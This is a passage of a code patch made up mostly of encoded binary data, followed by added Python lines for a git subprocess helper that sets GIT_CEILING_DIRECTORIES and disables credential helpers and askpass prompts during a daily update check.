zlXuE;h!Xj|2()f)x*KZfv&R*sPGZa)qHNqxPb#QKqt~Z|?^Hk-a+#nA#~rkhpo;Q; z=8$VqmVste*44#wRC8;UiwIVf`Yf6G2ISKE&vZo};%2x_J#kdNAju+nbqp$`=-PZL zpbqx_iJeSj}Vd!v!!?8@SM*4p{WVdy$-aY)7fC7F(9>!W>GTx(CWy0GjTiWY>| zmYW+Wi5|l1((!{27VXhH{8b^2(Sfx)N6@2Ev-lMfCfxG zA>H17HmTUF*H%zu&46O`3_j0W$f_Mh@()$zmfcC)a}%6a@cXu8I$Jh6{1sALo-u2x zK4^bG)IIF(Zt)EyEv}rPs?P0zQmmn8DLodgD`aC}{Bx^uMb@Nzzv$|LEY(|xw9LAp zNjF*2%GJ&zk4U82Ig3AYS^OLU6gC_(bN~{%q{mO1t(g=YEcsbe||K##?TmNwG1(!Zy~Lr2n-k0YM6?afu6t=)H~mQkoA(Abz&@{ZnA31sfp#KMJ_!pEPa zHK;pk`Q4d;q}hEzbmPkp_M|CO;-<97K>?@>i^kg-HE$Y-G6NbA`V|w2Th@|M$=lh{ zP{=Liq?HywJSf?bgGCotK(iz$hiTF@*^!F+@Gt|b3kClV0yi2rFE8%|1wU`UzThEG z^?}`&8FS_$WV!ap1e~dYd?QHt$GsE-DLhivXoFt--m$=>slS?E#gjPLB@xFj8EZ9I zC{1{hOF0}nG-hk~ym>y24QCQ(ir&h=KTrPReShyPm1DqIJ+M$}EfS|b#{|t5YS{2o zyE=Y+C-#t3ld(+BXUn5 zjy0hye?klwpoghhoX^Q01X?hr5if&Dik#XE*ot!sLK*OM6?s?1Q!ppR5i_9dBnb~7 z+2MtP4!t2DkC_7}K`&A`|8JH2|3K40u&oc;MLWS%iudc(~ zbSpd1=s(s5 zb?8msziI-i{#_z~C;0CYfvT>0v$}x^MB@^?ss>q1+@*sYjw(h&4pj+avM58#ebod|MbJz zV}lLLhC=*M`iBb!RKY0x?LU`5$}$Z3XRUbdbf$FvgVFBcp`{il;XH9q3=xk0%e<`z zy>HfBSnzrtne<8rc9<)0yxQjL;pF7sD0=gf#}-nH`69ShK8vovRwN6i#lTkc|M}2s zfu5N(O3#tFUl+r>@(eliYsf#dGGXVfT#N00Xo4=yuGQZ>w5SU_Lq~O7`X7_JZJT<$ zvU(>2=rTjH!T#^}`Tr64e1b<-_I8NPxMYb*U#wYLIx+S!}WXhaRr>PKTw%Ma9O$e8v(<7=MtZr?;auAJm={(4K9${gcVPzsWl? z+@16JyNSi;UQIt`ZK5v-8Oc&4Osg$kj8uFf2ZAJWJioNt`Dkt?0cxwzeS_y4Hy<)khR zeL=FzC;HI%8@dW}ddrE7Y1&uN5Z)a3*9gz5AGSz1atE{b`+Yu`xH zG?R9c2FIBJ+x_cX%0)xk$8Y@H(&;$`d1!5@M^X)o?ABI}DRGe$cQcMsC8v&0ok-|4 zR0!48)j36%ycny}^}W0%pvg>13U!t#l5Mw8VO!7`+I49?F+z#_%-I#}|WUX2U8 zj_y{Ut({JBl26y^XUizRNo>VSDS+mBz}br~3!b(6*=-hSmFkg=?Qx7}bYIeC!o0K= zy2=?!TtEP%>7xOY#p+?q*wyt&v6zd|+(~bB_s1;Xi#(Tf^@QK|_DWa!QP$#n37^7A z1rrQqUAD?O{rAdjtMcVBhH26M1Y6n~#vN~@u|6`6?5Rz*4Co-qrG;_CyKs}TwjP<) zp1;K>s=j_Z5kBVpIKYOhnFu&KflXfW{nJy`P$oiwnak=LEeG5uR*}pwvA;V6ls*n} zPOFI=(#EdueLV)N&1(tw$BmUH7`i(*zGyZ|Q-1P!E~kW4I;MQ#Dklc2CWv~i>`~K7 ztnT8@aZyG;~H%2`jyy~F~ad-HO><>@Y^Ic;@y zqYVC_6lgK{Fj3|1+wxkcQFXmFEc?(129wU`DU^X8;iW^%1CnKY@v)IHS#)|7`i6aq zAXeYT=E+mTYiI9rJ6649R}<#8sNhB9j?fTlXknbKHDZM}xFsmLsY(Zd0oc&cTX+Al zHQM}Uh#xjP@f$4;sJ6R9|IDfi6~a(b&P7dq&f@%7=giMfLFVDer$IR7l--3cCAVZh zD=wRh=ccI}H^j*1NkvR5zpaj-+gVAf&Zp^mEkm0Y1lPsJD}ep(BU&8ncS6{BQ00Xq zr>2N(CtF}f{Re6xhl>rIzD%?Mf|F4$2F(1kpUkIn85wEGaUc93@y03Y0eP$FaBN#gnCKusw6vssWWe zbv3+fVI2eK9dDG^CTHKnD$r&`AjWAfOivZLvteQ6J0j~cjabnJV3oPHr@tMExbBmb zb+XDy004*upUUZA5S_dn>vkI2+_cAi+0K%d+L!Y`g%dK$8!&#G=C<$Mmv`o_j7dSHWey9C^A~%+VNaKuhdzf9rR#jN7KuWlMQqX@ylOOi z$gkreg)Ea@!w4@^EZdJV!LE3eUyp^j#x zX4cJ4^CZDh3kcEbJgCsrr%Mv8?H5_Cm$9jK?YpeSNkq`TWtB0(_#j7E1 z3o^3W*H0-QpI5Df!XUl+Y0{ENtzv}}_H4-3DXmQpPZ%21{B6I7Vf(W_el1#&!nPFQ zz@~|4&0b0&LotPVCKM}BvPSpCf;>D~i-GR2ty#tjCxP@oz~Aws&Tq_CVo|q=t_xr3 z#D9QdnRifC!2_C-L#fPT*no*?joYY#Nq`tSEbWMGOn|Yg>pK)NP0c*&IHV})!-5n( zby+B6o(rw{w1BGy|A@t}@Bf)Qbu>KXlV5y*;7|Hi1>PF}o3-KbSiVl03o(STz9cRn z4u>DvLDShSUhuwXPm8`mAPPdnjVEQIL??@0(ED}1{DHggXU%AZ4g9%U{vFGwBS*&z&ESl|GC@n9Vh4IK-kP5)KjTPw%ym>NxjEC- z4y=n6NiyU)TUCWt)z{RimMF`QnDV&nXAXjK3e4#Fo58u@s*R5(FJTLL?y|M(8mH%h zpYY{xT2Lp^KEuf(M_)^96^+P-Do}Is@Z-*M7FS#>H;Y%>88qb8HI;N^^1hMw{q7vs z49AH@>cg5(W8RbK2#rTAWV+thFy>n*Py&=@MqtfKC%kUfKEs&hO#-6C?=oF%Np&1= zhp+);z}W)oAlS8KRtQU3>cC}q$$L~`4=u#P4CW5dCLf5IiGu+uxs0S_R{}e!9OJ5> zkbqh^Dm>6x>1c^Km#ClS@{tf<#)q8~bp&udRQ~~WRc*-L4}Mn7FWPZB-xw(3C-Y|; zzR38Ll1`YsauF@25qx$MoO;898#|b)m8|4=%8$rYOAzRjYBQPRuY!qrAWJ0oXyO7zInsT8W1tRUVEspAa z4Sb;g08PZGVp*AX7$co46e(uyFKJK|=`F`y?VWL9U{PY<3DhGfAEDfKEQjR7CER?xn=E+0@2%y%h ztD01U)B%0IKAS=MnL>ihVYE@S5?Mf@AWEeR8`^Ek7BB_wba6#X>IFwI)Adu%d+#S zDa-dDpz3TC*N{j6sNz5RScf0V2B!H@ZQ3skv`38Lo~++46JtBhNOJ}~2H0fdLbEG5*c7L7QHOM$KXz#QxmX!R zx=W@Q7kUIZ{elwg&0H?T^>oRBGMAqO`3vd`4n6_Vih0HYJa{97X@7A5l?AjtC;00WqVAO;F3m*FJRSz11JOrIJ_mtGl{` z6Gzj^)L2CR;AUYiPCC3@#9a4TYkR@FJ@^1~&NeoZx6`%m_)#{F?yY%oH`A_<9>s}z zwI$>9(*ZbUaupQyBg5O?#ZBMmN~CCmLgn=86ejru0@K356cP|vbUm{+u*krU;BdcyTDl=FVUK% zCIukXF+o)^d57qRKHBQ3kqVtiqzm;+aN?WBYZ^$WP2%Qpfs=4#wIT>eL+3R+JRdNH zFQD7)EGzg4k)xvtb-ML}zj^smdy>iCn$;&GQxl}CHr+U%7RMC@apDDJSaHobv#HlN zUw%xt#TI_(To@p%_XHVfe+$O`MYBXAVCT4lrv|9%FMMR!{}x(9zDP1IBR0Jr^RmDN zm4>PH8Y~^ykZv{_{uUV$-!ndM9ZsmzYZv^jMidemDW5))4EzR#rOeeG zU2hv3pt>O92gNm$-x+Mo#K?=*?3BTm3=LSML^w~#|J68_d;CRCz@6Z%HVZJT)yF9- z6BQ|BxKHeFMq1NV0BkKYMkYJfJa({vkrSWI9~$t5T&a&J2GhLo=HMuWYMzYemdVE7 zvm5^*+bk)n^wEswt#Bv4W2Rp4w1VT?9)FZEa}>f=e0%;k%D)OYAa+BGr068?i%MI9 z^iZkYby%S>DM!(EW9q0z$kcb?3TaDYu;yEWFzOn~i1j+{`%A`{jFIiaJx52atb{FQ zx%$faZWw<`f%KLPJxhQ9YjwwwUz0jjG7q1GYWAcO#Z$yV@3D_RjfcvNruSsC#(A|y zpj1W5%mwIdUa_Sw$>Zd}V!3KTh{UtuLF~hwq>G!GVxF3b{p6n1C6(tat}i4|Vys;J z_T!t9Av=gHLpldDx}JPR1T5-lrPkL(V1^@{epJ2wUh;1AtiHI`X!Q1L|pG z38Kpr%oORYMuleiQnFpk9n_eK@20s%(&afl*)dmlU9~JkQW7IC!{ImFe;CQAPK-V} zyk!ztc2$!sa9rFS#M-d7Eim6zvY46QD?#nMWKISZrvRvSScJtT#d1G3pu1uqQ=MQa z@tZIhzDcDOsf(l1){` zX3w(6COiOTL_SECGWO11pQ2pGB;d7ov z&>7@D$fs@RGv{S%?JPy#b~T2P5rfZb(Bk!awqnPxVhRIL3qBkowm+QZ)^xnH^}hA8 zv%9SZR5Ao_T0cDB8C$2v9`ippav9{h8ad&ee3o`cg_Ur?_lWI&>aG~F zl7!jf!zS-bGx_LmOKU`)MO#*O&-3)?fo(61b{T`PfQI1fncvF>`Qv6m;CH1l@8i>U z&T74VBcbNCrxQ^j9ae1UJL)PNvHfOg-=*zCP0P*L+KgPbyx+Ng2J(`?+D(BR8C&~{G6V7k-qxQ(*fz)t!1n3@AzlG$JVx71*c1|HJ8)W3gTD4vA)9E^Aoq$ z+nKzMz9>|^R=XaAZnxuByVWGW?abHRD#;PI^;L}a=Qcr!mtzU)15n6%iJiyNae}hw zeee*ColmLhZ4G5Sf4BQK`zgcyWp8<;UJdb1dH?!hhV)C9xRsZQX0|fwXf81< zlj%{zWX9aG*B?0<4AGZniN`nu0J@_5Y22wX+I%UsTk&xT zT8XC(yF5KO+IPikBG-|$8N05v1<40FP3y0?G?<>lO{{r06sf38va4D%y5U$8=*61v z?Tm5HOi5dGJa!vfAAzc9I^uS2FY*S;@D zNACTT^SU;)Ktz4xN+ww*k{uhoc=FS5@~Zur0*a^zxxOYC^|4(27;Cq$VCG;+eJ#8*ag9p|RPkc`$PAu3=B}UP|20q(8%_CMYw2J9U z4{G@&oJ=BokSuV@&)HqP(ON@b3D%gaemsyuWKnr4&mecpx~TfmbaHqoM3adOk;PuKM$>HKIcbg)+IXBQyEm$;=C@0Ra*TAPp(Hqqd+ zb}0IE@+<-i{7tMmI_1AAP8F)E+PB{4K7F`r6-Ebuvm>85`ZeGFR8m1sE(X<=b9#!G z068Y>G4zNsbwQ&EeaLig$it|q48Xcv<7QW6MoE-FlX4y=RM5Cy3|C*A#!vIDd^^i)9_MC5B(t!!ogwh%4P;T+@p1K72gyx$)0c)fqO(2He$>L zR2y6^z||uBA=@{AH-4A+nFy0GJT&1_~327Joq4_ zVJj~TeWT%{T0Qz?HUvD+sJDALR=vD^Q7ZV9Ug3LMU`O~e&@Os+)#*94*tkj|y6%1K zL-9)CR)u>pHTFCg(4M(s?mfhIU)6DU?8Y19ce@mS*_5Xx!%#&N?E@hx-~{C5IsC3y zSISO|#%N&xci)qG{rmG!)H9vonyq`zy0cMf=BUd~uTJ1Fp z#HTNR4@pdYuN(V5r=}VjN@KL|2=m66y>4y1TnA8Wtvo(>p(n8jJzj#bs!kTQZC?Xa z_E1DqHQbJI-l=5p&v>aB$jeHVcQHv-BuW}P0{~;elzS(~%Z6atC zBp8Fb{BRSUh#oyQJQfj+njW@W&mT}n7Mzcp|E@5LF@9tIT8lIoC(sE`KM6P81zE^n zYR8^gRZq!5uj~zAppnR~QZ~MQ@GBccSf;;GN><;#!T8)bCd{7)tMSR+lXCcQ;ZI#_WA~-~W*ADK?oi zMkc(3OD@m;*x%?@gey-lOJlWA+MO8sv>D>b0~OTNRjwuq0>4EC3Q^*~yQ!;ZeWw;A z8R@AhP`Ap{h;9LfpO))-O#`CSuo-AGthVME3XA)-q-9wC(iMW4se=aBB zai9P9gm*2}~ z)t&TX6WW&b>7F%B*nmcsnii9dx`1RMANy*r0AzW*W_})=s&G(SdP7@`@F*v7(vUwq z(z&P}u+psOQk!%8nCWBBh5<-Oa8kVP+04yl%)9Hl9So28xg+?OEs2*&r+c62*K~z6 zr&FS$Jn`z5glMAiD4KJ>`hsH4$XuVEtM1uCXiN zrX%9BKs`GKg6vOw=aS&dYV4|Nwd zJYZE+umWy?S7>TkPQ=Cjp*IoAI<&e{;RUs}h7$Zpph=Q{-t{O(>%!|YguuKztL7nKiv-pud=tpw8Oc z{F;91VKZ=s(e6Rh-6%v}-?vrc2>eAtPwG2#(AESDzJ&B`xoT=cH!oIRULM`@e6Q0p z(`HD?Z!aF$gG)^8 zA`{pWCvR5Jyg6|7+m3T{TXSR#G^}RIGyJhp^JD>g{pTO;ciY+m!lYenE#PhzP_d(j zS!YpftV})c`VLX&Vlk{76~s|GgbQ9hD4jOY<^G90+jvY^z9U{W5-(k^j0Of(hS*{^^cWN*b)e0Z0tKex(y&ODh=!3mI@!SJO4X(!zcYRoHYfEc4Fe zgg})h9lC53dJo*(vS;CFhZDZvm~6cZyHnTYy|fJBPRWwslTg<@2~;q|F-GD0GXngS zR(;9H0QTroWAj3y9?}p%$+dDn(BAkutHm_LRyu=Y4}O4;wpwhmi7qR`Y_N0#{E4+( z9i81v?aAciQDvA(tu5QjNd1*)g`J$+?A?B4C~MR!rz*(cT>Q#gj!D9(gJyomJjC82*aP0NC!!0rs4ENe2U9)%E4s+ zqJ}6lGug3TueClNq(u{}^lABIAcv_#t-fH&3hVZHgFb0DbtEP8CG&#_mdlAxU*Fm! zEi8a3wt8LQ6-M-MO(61kX&|Ytp3sBrw)VPq3f4_@k@qWu`XX?ZWgD>4WEn&geh%O}?I>eW{e z`zvryh~f&k>FUp>qdlJ1RWa{PEc{4uQug2?%OJk3A>CtOnjR#O!x%d}2jgUwkOV=fzb7&vnV^bHkO*?bCvO>u4^j zqFLtC>TOg$k4tIzT7in32DPpkvIN*McB^SAUDfMw%RB=tLS0qVL4&d{Oqjt0?%7O3V=uI6 zd(KN9EOFoT@8)Hw_?Gc$6B^e$I>Vz$)j0Q$dgaM?ScGuNxseszF&QRQNB#tEc#u0M zAhXub4CiwUZi2BGp#ZqNbLLZfrVrhgW0)shjIM`sC$d^d7pxR(s``ifg)S&;sK3#3 z(>ogvdJtHFw=6DpobU?vJ;|$Dd;~tC86`Y}c7x7I3bRUYP|c>sX^hTMAiN#<*~}tV z)9(-Hd2_fGKPRZOxJ*y0c+?(>si^NOfxh~*QlMqj62nuCXA?+Bpl#d<^8I~E(->M9Q9DM zn$n`m^azVUvgI5w;%NLhYuj-7ANUp>ci=58gNRuQ)Px0QE(h+u;w2JWir}qPc|L8H zLrG*TgYqJNlkwqRiU}FfGVJPS9sNjn{KE6E5kw0ot(vI;6U13e?|2{PF~lpJsdx;! zKP#Uzr6UFYN+J?DU&?IJKs^8Crp_43jA zn($Se@<#SOwe!*wiH@hIrJfOy#OFwQUS5J(S&M}BTiG8w%&1u(Im7NZaDlDD3J2ZY z_7_^&2y|m+E!5B4iyq!1Xm$-{#xI9!ddM@~J~P@ccVshD?JxW4Aqf{Hr!5fbTkV%? z6byNM*{^Fz)MrUq`D`sg))v2qG?;~&)2Sz)?#%rbvwPW8a%wdPp-5f2-QEOZ$hGO? zFIf8N)%%HC9eMeurxH<=B@h%b^PzB=@_VqfE9OIGVTv%RiTUpWY2xC>sMArT=9?P$Ybr-K?p%JsViGl;DbB(CqDq`CIm3szpCswx!tho+)$9|zj?+Ns3?%d+_B`#M z$7#dng~?aH(QclrGKzd)o9w}B?>5Pka(u^-u7BQ&PSvNxVFvb(k7C;G4g2`PM(nwk zS0%#d(atxa;Ur+>8nRl?Mb^;dyqn~AIYrHm%*LMT_Pm2wzOZxX!&uiFomSEb66M*yGqM7~GG1C72qE{CYPKK49#Ka^P zp>hJ1q$>XC)S8jKS~9_5n#(+{RG`9;jQ0S$-@dP&rz6GpeR2D=A=Cww4!^aY})42>ey&Iu=;hFTNAd9REg{=6YO5PQYfA;{e)X9%L*M+vTN6^&N`3!i*Vke z5t>P;C)ovpbpt(uAsG?6NeJZ=U_>l!WO zA{-2#of848OP*F;U-vgJ;mis)5kg<;Qi%r{nJ3=DGiO{_vN~K0uSXz9v_3S+JxZIt zV7JbPdd(f`X;VCm5M-czUU(5iPZ$%vE@>-_0j0-bxYWiA;lCyMNb1t8Wj#>Pd8qGG zYi@+$ckI5?EaKQTJ=S(1w$m)?BH{DajnT+Xcs^I?CNuMSBNuu7pzS#WE)s1t2AslV zUma1Oov)MX}bp{;vZx% zGKCVRf4I21y58f1NA%Q>c?ljUGDkpv8%mlgO3IUEjlO)&@zH`1puW1I#u&64dw9Ku z)Wsrn`Fu);@w$(=JofY$4X%GV4>^Fs)0q{kwe8jq60Z=eF}nAaJ9Eo!$~MXjV9aGX z{j-ZNR>Ae55yT8Kd@1+tdKGI1=loV+dnvta{E|5TBFJR$*!S-r^(vUeK8Bg$ApT7S&5v_tx#WrDvBD#lfC!c-E%;aD6cs+XMRZUfIpJ_ zD+?aSkyD9P23#B$kBE=u^9Ir2@U&Q2yu`@jMwP*sIGxDgF_Ie6Kav< zhziZjdc>yTH4y=}T=&&NCYfL`K4L`y?G&RHk=V7j920>JGmXqFRV6453dk!kq{bB5 zZ8=ruU!xsVf~n{D@UK$foLPY^O!tLFM8wszN+kcXp>j^9gn z&k^rFD+D7QqAn_?EO?7P?#F}n?+AU@d{_J(7f4_n7kcGH1yv|g5qzU=xB8k>J4Q)= z45ZY?SW=3Q=9iRCzH`WUXT~rPKP@udJxmzgP8ut!x;`J7(&j(scz6ok%}dVnTZs!i z?F5~Ox~+gt{$W$bGX-2-aXh-HLFslBSKIkaLuJiMTJ|%p$qOJOHjL<|Ym&>m=FeX# z*omMHAjT(({URNqsHU>AsUOM^O^9n)w%tid4Nri)qQ#~si~?3&WHl`D2oCoPbY5@> z^a5*c>WYouKaK>Rg!b0@ET=N*8F`)A@C-=3{}{j4lh4EPB-#Fl@n5qf@D3ON8A5M< zMp&e-?q-bZ!}zT zaXd2(q*Q9D{uSDk{Jni)WzyOy4vecO`j5ypArYT^6+KXA)_^`)sm#FbaKzIKz{K14 z=!nMu#$iSaayxhE!LEOzU(Lv}k2gg$N2sqwZH`NtxiZ|=ujrLu_9bkCG-&J3fv#?q z@RAB+B6l!S{#@$bSs=&6uOn-9Cd~SlL*4XjR!~`sBLkN{vmsDMg+XmH<+)?%NJmu(qx*%K^6_8YZ*K+lQ=aHq|8sT(e=g5)?pSn>sa&cy0K;q`an&e=Q zT}DH;jae@W%+=ak-cj{Nu|z=z<{wiejz_w=Td20E{k^3_f1X`<{-aXM4?n{Z=AY`lZx=UWaDIV# zD0UNYsJ!kZeh=QTkse?$CENJ+)AM=ly<5`$!8{9P$Qo()Qh+9#rj^|AWghP5jg7OS z?`*#Q-gCx7%^pue#eIe5N5Qpdd|@`ILl`4S3s@Xx!FTY`%*k_e4Sd-s2^GqmlB_KXu0RbiQzpQm-9TIRRGl=)O)cdzLGOVK;jF#2vmOQ@MjpGlK<>Eveu%sz z<_kBoL9?!6WK0(eUiIPCjzuD$>i|*qHj@?o)DTsjxA}9gaP;5mRsDZ}MWA1U7 z7=teO&5x`VrQt6zXYPx7mgLP-ecPCf+`>p@y+1g{LXjwN<@h_}=%N%t-PKM!qib-a zg;SxCSy7KA$@y)%yRZ%=2u6qHP>zVgJFMMLI{n?dc((F%rWwtB35MM}I=w`~v+J+< z1O(-wh~8HIKnLixe zV0;x?OQTd+crS;m9LtUWBt&+J2$Dth*t8heL=l3 zWYVcV&F>%h-?iV`j{~%(pA1~33o|v>FA{Sn6#4eg*H~4`d&?-TNNw5KZ3qF<JN#TdnS;DFt-9Dw4O1^z1|-MXDEMy+o_6uMi25_Q|d(4m4F<`KuLusF1+=^k(I~knoQ-mHy;5XX;&%v(vt?aE))f>v%mnEph z113k1bGdN8#_~XH7I9|wfw8+TU4j7Jv>zo$qXbIt>@Eb7Ba_smmBCb5?Vn>lS8x;Q zE)%Geh%Mj%ejL9J3!y-l1JmonY_y2_B6}#bbd$qGEI>4NjXh+QvEqv zc}rugV)o;a8QOd88L)t-Akyok=VEHROo4oPOe*4+Ly5>v^ieTl zSK3`&;vto3TN%J7e@Vp(zJp5y9?$)KzB$%+^K@nR((@tURL2ASol}V}sr;y<){ zs4!xBL+9xux!>l2L?&NQJsxypWW`N+hXd2-qtP@${;vWnqqO0)9oW!+Emp_ZQK3wY zbbBlZFV?)GLb=RkF;h?`INt&IVHUca8*P1pX)JQGAtq#|(=~Dk<%IXb5Caoqc~S!Rt21!`*3ivEm;8X1SoN-( zFqjCr3NZc`^RKN-10m={x7!i89%ixv+HYH)HjwM_U6ANO3{FSu_-Cn z9wb&7twFqE{LaETYDk=1V@jEUA+?gULf3c@ZZ`|1-LS-&k%Y=H66W$NZ$sDi728gJ z%xrgJD z`Z-H$qpyeiB+fG+8flGuZ0q_Y-#xZGwKmi(6t~h>5uHv!A@1u@sKqZ(=UIgci;;a1 zDp^}cGXj(Hl^qx4SdfgDb;t(o=I0bWe|OCN$Y$4uZ-(EZHwWi7$0bOO?#r;fAK>t< z_FW0*m4i&U{=ch?;b5c7Fb&`{T?blx-bg8K(|lI^P7go%OP;s<+-%Te$vUCO0a^zm z-LxYHTxC(D$-&dg_i2tMtECz30Ckw$*);?J@)`*Tm_t1he<+#Wh7!E~s_mw)t*K76 zm#q=(s_A~WJ2{GDl@Qhi@^m2hLhQ=!UVCzj|EBE6@b{gO6#}WlX1D4a_}iN4y35PS zBxNvo0QGCCKuuJ|j;d0a`}#Y(rW~kv0$E0fEImiybSzTZX?YNd`Sir(PX@gXyLsw6 zSmqSG+uGr=b8OXGe3)Kf=?Q%B#DgfDCJQ`_`5yak?9QSUj03>4Va;sUuWc)DC#4%11)&FU?he8R$B1QI1=_$e;?Fopm*;>8A0j_mOf<6x3?jhdrj6Rc+B z_wV?S^NM-itqHYPvW|RtpEyhai=lV^bTEpAbXz>9wA=SFZ@kfta=M@nmsOB66Gs1) z?#22=bFYH)BICV|tjZ@0R}A#tf&?2qI(>-#2M#g6D+ebZ1J~P`>?0${Bx8T46YN|$ zvu(PVyqZbLpbH?nEH_v3ufTTTa9(8Xo**U=7kHzg?ZOH65n*x_+PU zWFEJqwb%7AE;}ue{odyFzdPHTMiN90gB)a#z1v9c6URqJ;LqzbH_bw2+Fxph)z}Iy z{H0%zOu9H*hT*)ZDs9#F?Zg*dZD!nuL#6+unBpGx$Jg33 zsn`YMcCmXpp6PM8&{2W%G(st>o{hj!bO1`7WWKlYrWzJHie+0l`57pgK$ zN2Vm)t0JOIygyW*<5Oi07@nL(0HF%)=H0{3h!oxkj|=229lM_46BXGG{E1(AVWEtQ zPa(?XvU9Mn5JLaSf(v0-d;7S651vzk^uy;OH!e2f7JP%)4si+%Tx|g!uJ$9KH;C!(cFn* zULCgv+s};;@83uoH$c)dUm#_t#BOjR{IHWi}RE!Hm=&zv58&}mr*J}VnFW@VBG ztXHhz*3pL5PR8@_4jIo~X-mHj%L%IxY;)LG%*;?g+Hwy@fxi${27!vp%z9tL`(;mk z0}C#90<4a+yC0nyjZm-WVxHHSMi9Q&lU1%FKMWT$N)d@iDR*Yg2Y*hgW{vUwH4)VB5dQ*#vB&s!o6Sc+1=c;ufcV*G9VjS zX-{>FW+z73V6}|r5P#u!9Ca9BCXiIekQAiQpy$a2-!sAed11_oz#{sqIO4Je8>C@2+~~gXn*5+* zbBo5!CnA1nk(ZOjNDGw>}AyOCWO&9*!stSZ6g7>vY3CkN4hnu3zHFX^p=Fm`<}G zs{I(~zgl%}agL{dhh|&Katp@iHt4J5OQMi2)7d9++FCPj*-M#>G#eP>8VH~Sx!3XX z*EN!ACMWF8nhTbGC5}e{q{o!n=$m3zCxJU`?G=c-@!Uj_y5kR6 zN%w3SZ;vL$3Pfc3cHS;8kp2S+wozbtrQyu$xGW<;Bc`S1FAR`V+id?M3JjfPl_luC z6~q4JJ@$=&>y+o?Re{7;`7X64)k2fcVL}`V@6w~`?$G#=3eyHfQGI^!7>eY;4)54b zEh-Q+by8!arjiF}sPlHORTF6?&WRll8La;aGf@jOAj9+uS5G3zZ?F9H9({QaUtm5m zVfe3Bd1j((gCD!RLgV$J-G!5@bMs>bU&V|-^)%07l1%Ys}co;1u`CdzeR|2hk&}*t2{yuv8V2YLNYYG%VlFWbIH%`T9-sOG8)wU-z zuJU(XexU*>qN|RPTtfB@n%~#Vt22h!V01ou*pVq`}sn0 zR;|gm&iC-1=^F;HDF->wmhd_WU)EkCx$!^-rmFh6(&7S^yMyVgRCUmu@6#lVmp>Z0 z9bK2K#YDNYg#C8HmuH9*l#oi7?8n_r^A*9HI{`$FzEH|nfog3L&E7H?fyLo&Rs0R~ zEZ3=AmV|x;4eW>_9sK!Re#q40is^b+p$7vf6Jup?P&eGL+xFS)3GzAy-JY7o1@{i|{ z>4}LsT?1}D9&hrnJqkdabZa^(CdRMKnae_wG*!)UJ4Q9%GuVZ;^uaZx%t}zl&iB&n zk;JhGQBC#q5}7uQ1lLbBpIP!Y4@~9v`a*W zmB9PB2j4>TGUx^>3eVutDU`=zRO1571^Sf69kb`AIIoAn8MG?8t-i5#IH70 zp^v9JYx6|Psu1e_h6CFHhrMMc%!K@m^z5_<;yY;c#EI3`=&kc@`*T}1aW6mKt_W1K zzdtfSX_UAOmcE#|DL=x(xa}%W&Ng1D_hIxf(Q!Moms6a#okil@nEvUB#p^85WK(8H z8SFiQ!E>4N*}o2#Zg01*3;w@}UI-r~q6;gfN=FA(Qbzj<>eJIcx(DSobds~~p}HIN z4<$*pQ5KZiMT!fZpoPPIYN#49!*MUn{>ts1w60O%`WDB7W>n4eqb;3`yX_ zum?-2mGzY2rIXuEsv4w6JVEI3C=fAJUn^}>S-W&o;Q19V5H7-mG#xoFA2%7g-j{K+ z$kR^TgGazc-X|jEEDS)aP`ZkqpLm5q&yWcDH)G=Cvb%dDX|e!oI9e zF)|qn>LU_mI#{zvRYpv>zifBfk*r-*#|Ga zNZea>q1=DyX0G*F(HUBTu%2Pt^iUbC97(~RZN8#W6Q#fyG8!iLK$@p$t|In;EiI%!Z4?wAqnJPk-S}00gM^jXG^mqI&KH88*`JUmaEqf*1>1GWo_>sFAgp>*U(m`M&gyeN>i z0lKFrr>AVD)`gV+maH(0i1P?$a-&4#HI~)L^l=gob9!4j7X1&$OpN$GC{|V8rcE7PfwuyOW>YC+D^eg7ej4pP?ly7(&%ZJpB*g2Un)? zTUpXfN74HuTlr{O7sv8Qt* zJ0q(t?lpOI8_vk+%pcowc+yJr6d70+(R^_ZHqDQ@G%aJP8F-4dmA*!)-s`ZZE6m*2 zz}aErO$*!EmuWj~ch9+&8}^6uZ0g&kl9!!h7t?qxt~BZ3==jznr$7EHw>vbDPvs;E z@FEKF(=(BSXlubC`10x9;RSL{R)@h27&|rG5S%m*XU63#S*;q@+~fq_k0gGbPzzk3 za9n3H_0b)$yH-`PDr`DFZh^s55rX6ka?Q(z)zcGgWBQ(+H=2BVv--TER3q#jTh9VP z?&{zHM8#Cvd*K#Y`A*5qiVgbVWz((nw5G7VUiOcgBGsq$T zCF7{;Kf22a#BJS5xH2sRrqRWIY`$%Pqdpp7dXXP+bA#Y}8(edA6?mN^eLvtsqsw`; zRJW)lcD4k2oIWFD7(VuVn4&OhxtUGP9>GUInj9;s@5f<&fs&}}P1hYX4M(-x>MLX^ z_5I%krkMgRT47K2dg#6*O;3NQEN4`cTJE<&b|eAkH%9)ZZGhc{e<1u=q|Cn&A&|qD zsa>`m)+BNPLyWIHx+$R8Eo4ggAnaa>^4;FH&mUEIj^wmFq?aSIPr!X@IcKqPfhC4W zsWOFA(+QriO#5>>05USg* z#rc`DBdR(hBcaEtk$|VUf6r@U1s>|~mOX}YrC~VZ11SG*ma z)LAwp@-Z>C|9~d+=%T-e#*B z&OeWy*;%WqdV`K+rB+ueC|Q=MuzVh^!dAD~dQNCLIHb>C003$5X47Ya0j@lv$S9S! zN(`yFPh#O^abU1sgq+ILdZv78j}fngh&Trd@G%EY>fkD(1MI)Ma*eOzS~k)e{!A}M z@~v1wpVgeysc_^4xOaA-A1wLF_KjKb*#hu(d9UJNtf8G2DQBdfqL@)7sJL%Q={&Wb z1%RK7)K7tk5t~2L6vTS|dF(bmULR0^pO*65S7LbqIIJaPS)`dgpAtH9DA55vLB3QN za&P3P(9;x5;-&r763t^`St8uOc}qqOU6P3jshYaea^Z)MoMr zCFmxlv1ZPypenSAG_#+Q{e4CItaoHSArSPsa_F}Dh;L1@#@uaN#x2Yl0vWy@K6mzF zM3cnYu(jFKXC{zI++%*PDK!GYA{p))>>*A%$BuKCSsO4=@)J+zu>TZPp=mhvrPl4v zC!oeiH4^tpSY?;R` does not require to BE a repository: git + # walks up until it finds one. A copy-install with no .git of its + # own, inside a home that is itself a checkout (dotfiles), would + # otherwise be compared against — and contact the remote of — the + # wrong repository every day. The ceiling stops the walk at our + # parent, so a missing .git answers "unknown", never someone else. + env["GIT_CEILING_DIRECTORIES"] = str(self.repo.parent) + try: + proc = subprocess.run( + ["git", "-C", str(self.repo), + # No credential helper and no askpass program may run for + # this: a private or moved remote gets "unknown", not a + # keyring prompt once a day. GIT_TERMINAL_PROMPT above + # covers only git's own tty prompt. + "-c", "credential.helper=", "-c", "core.askPass=", + *args], + stdin=subprocess.DEVNULL, + stdout=subprocess.PIPE if capture else subprocess.DEVNULL, + 